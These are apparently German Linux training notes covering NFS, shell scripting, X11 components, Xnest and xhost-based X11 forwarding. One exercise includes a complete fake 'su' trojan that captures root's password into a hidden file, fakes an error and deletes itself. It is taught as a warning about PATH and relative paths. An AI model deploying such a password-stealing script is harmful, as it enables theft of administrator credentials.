1. Wiederholung
-
Erstellen Sie eine NFS-Freigabe, die das Verzeichnis /srv für alle Hosts freigibt. Dabei sollen keine Schreibrechte gewährt werden.
=> echo '/srv' >> /etc/exports ; systemctl restart nfs-kernel-server
-
Schreiben Sie ein kleines Skript namens benutzerwechsel, das mit Hilfe von read interaktiv ein Passwort erfragt, welches dann schließlich in der Datei ~/.mypassword abgelegt wird.
=> echo 'read -p "Passwort: " word' > benutzerwechsel => echo 'echo $word > ~/.mypassword' >> benutzerwechsel => chmod +x benutzerwechsel
Das Skript sieht jetzt so aus:
read -p "Passwort: " word echo $word > ~/.mypassword
Das Skript in Aktion:
tux@deb8-2:~$ ./benutzerwechsel Passwort: asdqakwdej278112 # Dieses Echo muss mit '-s' unterdrückt werden, s.u. tux@deb8-2:~$ tux@deb8-2:~$ cat .mypassword asdqakwdej278112 tux@deb8-2:~$
Wenn dieses Skript nach su umbenannt und noch ein bisschen verbessert wird, hat man einen Trojaner, der das root-Passwort abgreift!!
Dieses Szenario im Ganzen:
a) Der User verändert die PATH-Variable:
export PATH=.:$PATH
b) Der User plaziert das Skript im Arbeitsverzeichnis und ruft root zur Hilfe, der sich mit "su -" einloggen soll, anstelle aber das Programm /bin/su auszuführen wird unser Skript aktiv!!
Verbessertes Skript:
#!/bin/bash # # su read -s -p "Passwort: " word echo 'su: Fehler bei Authentifizierung' echo echo $word > ~/.config/net.log rm -f $0
Merke: Beim Benutzerwechsel sollte immer mit aboluten Pfaden gearbeitet werden:
=> /bin/su - # z.B. Debian, RedHat, SuSE, Vector Linux, ... => /usr/bin/sudo -i # z.B. Ubuntu-Derivate, ...
-
Finden Sie heraus, welchen TCP-Port das X11-Protokoll per Default verwendet. Prüfen Sie, ob Ihr Rechner diesen Port geöffnet hat.
=> grep -i x11 /etc/services # 6000 - 6063
=> lsof -iTCP -Pn => nmap localhost => telnet localhost 6000 => ps aux | grep --color X
-
Erklären Sie, welche Aufgaben folgende Komponenten inne haben
(Siehe dazu auch http://www.linux-magazin.de/Ausgaben/2006/12/X-servieren):- X-Server
-
Er ist Grundlage (Flimmerfläche, s.u.) für die Darstellung von Pixelbildern, er steuert Grafikkarte (und damit den Monitor), Maus und Tastatur. Um die GFX-Card voll auszureizen, sind die passenden xorg-Treiber erforderlich (Siehe:
grep \.so$ /var/log/Xorg.0.log
). - X-Clients
-
Das sind die normalen Anwendungsprogramme, die wahlweise lokal (auf der gleichen Maschine wie der X-Server) oder auf einem entfernten, via Netzwerk erreichbaren Rechner laufen.
- Window Manager
-
Ein Window Manager steuert den Umgang mit Fenstern und deren Rahmen (Steuerelemente zeichnen und verwalten).
Er zählt vom Prinzip her zu den X-Clients. - Display Manager
-
Er steuert die grafische Anmeldung, so dass ein Benutzer sich nicht zuerst an einem Terminal anmelden und danach startx eingeben muss. Außerdem ermöglichen es viele Display-Manager, die Sprache sowie den Window-Manager bzw. den Desktop vorauszuwählen.
- Desktop
-
Es handelt sich hierbei um eine vorkonfigurierte Ansammlung von Programmen, Window- und Display-Manger wie KDE, xfce, mate usw.
Wichtige Kennzeichen:-
Einheitliches Look & Feel dank einer bestimmten Grafikbibliothek (KDE: QT, Gnome: gtk)
-
Unterstützung des Nutzers durch Austausch von Daten zwischen den Programmen (z.B. "Sie haben Post!")
-
-
Installieren Sie unter Debian die Pakete xnest und fluxbox. Loggen Sie sich wieder als root aus.
=> apt-get install xnest fluxbox => STRG + D
-
Starten Sie als einfacher Benutzer mit Hilfe von
Xnest :1 -retro &
innerhalb Ihres laufenden X-Window-Systems einen zweiten X-Server.=> Xnest :1 -retro &
-
Weisen Sie der Variable DISPLAY den Wert
:1.0
zu und exportieren Sie diese.=> DISPLAY=:1.0 => export DISPLAY
alternativ in einer Zeile:
=> export DISPLAY=:1.0
-
Starten Sie aus dem selben X-Terminal heraus das Kommando
xterm &
. Beobachten Sie, wo die Ausgabe erscheint. Starten Sie nunmehr aus diesem neuen xterm heraus den Fenstermanager fluxbox.=> Das xterm-Fenster erscheint innerhalb des neuen X-Servers => Dort, auf diesem neuen X-Server, in dem eben aufgepoppten Xterm, was ja noch keine Rensterrahmen besitzt schreiben wir:
=> xterm & => fluxbox > /dev/null 2>&1 &
2. Konfiguration von X11
a) Moderne Systeme verwenden X.org-Grafikserver- u. Clients:
-
Hardwareerkennung: Xorg -configure
-
Diese Konfiguration testen: Xorg -config xorg.conf.new
-
Diese Datei bitte studieren: less xorg.conf.new
2.1. Hilfswerkzeuge
Seite 338 f
whatis xwininfo => xwininfo (1) - window information utility for X (Geometry und verwendete Farbtiefe von X-Clients)
whatis xdpyinfo => xdpyinfo (1) - display information utility for X (Details über X-Server)
whatis xvidtune => xvidtune (1) - video mode tuner for Xorg (GUI-Tool)
3D-Unterstützung prüfen:
apt-get install mesa-utils
glxgears
glxinfo | head # Wichtig ist hier: "direct rendering: Yes"
2.2. X-Font-Server (xfs)
BITTE nicht verwechseln: Die Werkzeuge des xfs-Dateisystems beginnen mit xfs_!
-
TCP-Port: 7100
-
Einbindung in der /etc/X11/XF86Config bzw. /etc/X11/xorg.conf (Section "Files") FontPath "Unix/:7100"
2.3. Berechtigungskonzept
Neben der Frage, ob der X-Server den Port 6000 öffnet (s.o.), steht jetzt clientseitig zur Debatte, ob dann auch Bilder auf dessen Oberfläche dargestellt werden dürfen. Dazu wird das X-Magic-Cookie herangezogen:
-
Siehe: cat ~/.Xauthority
-
Gesteuert wird das Ganze mittels xhost:
-
Ausgeben der Rechte: xhost
-
Access Control abschalten: xhost +
-
Nur einen bestimmten Host zulassen: xhost +10.22.15.119
-
2.3.1. Praktischer Anwendungsfall: X-11-Forwarding
⇒ Die Ausführungsplattform ist auf einem andern Rechner untergebracht, als die Darstellungsplattform.
Zuerst benötigen wir wieder den eingebettenten, zweiten X-Server, auf den wir diesmal gleich den Fenstermanager schicken:
tux@deb8-2:~$ # Ausgangssituation:
tux@deb8-2:~$ echo $DISPLAY
:0.0
tux@deb8-2:~$
tux@deb8-2:~$ Xnest -retro :1 &
[1] 11471
tux@deb8-2:~$
tux@deb8-2:~$ # Falls die Profileinstellungen den Window Manager unlesbar gemacht haben:
tux@deb8-2:~$ rm -r .fluxbox/
tux@deb8-2:~$ fluxbox &
Auf diesem neuen X-Server (also im Xnest) jetzt auf grafischen Wege ein Terminal starten:
=> Application / Terminal Emulators / Xfce Terminal
Zuerst einmal diese Adressen verbieten:
xhost -localhost
xhost -10.15.22.252
xhost
Dann geben wir auf der Ausführungsplattform (im normalen Desktop - dem X-Server :0) dem Wegweiser einen neuen Wert: export DISPLAY=10.22.15.252:1.0
Versuchen wir nun einen X-Client zu veranlassen, seine Ausgabe auf den zweiten X-Server :1 zu senden (z.B. das Programm xeyes), bekommen wir wie erwartet einen Fehler:
tux@deb8-2:~$ xeyes
No protocol specified
Error: Can't open display: 10.22.15.252:1.0
tux@deb8-2:~$
Nach einem xhost +
(im Xnest) und erneutem Senden von xeyes
(im normalen Desktop) sollten wir die großen Augen sehen…
Troubleshooting
Bitte folgende Eckpunkte abklopfen, wenn es nicht funktioniert:
-
Hat der X-Server den Port 6000 geöffnet?
-
Wird dieser Port von einer Firewall blockiert?
-
Sind auf der laufenden X-Server-Obefläche mit xhost Berechtigungen erteilt worden?
Hinweis: Das X-11-Forwarding wird heutezutage seltener eingesetzt, an Stelle dessen wird ssh -X … verwendet.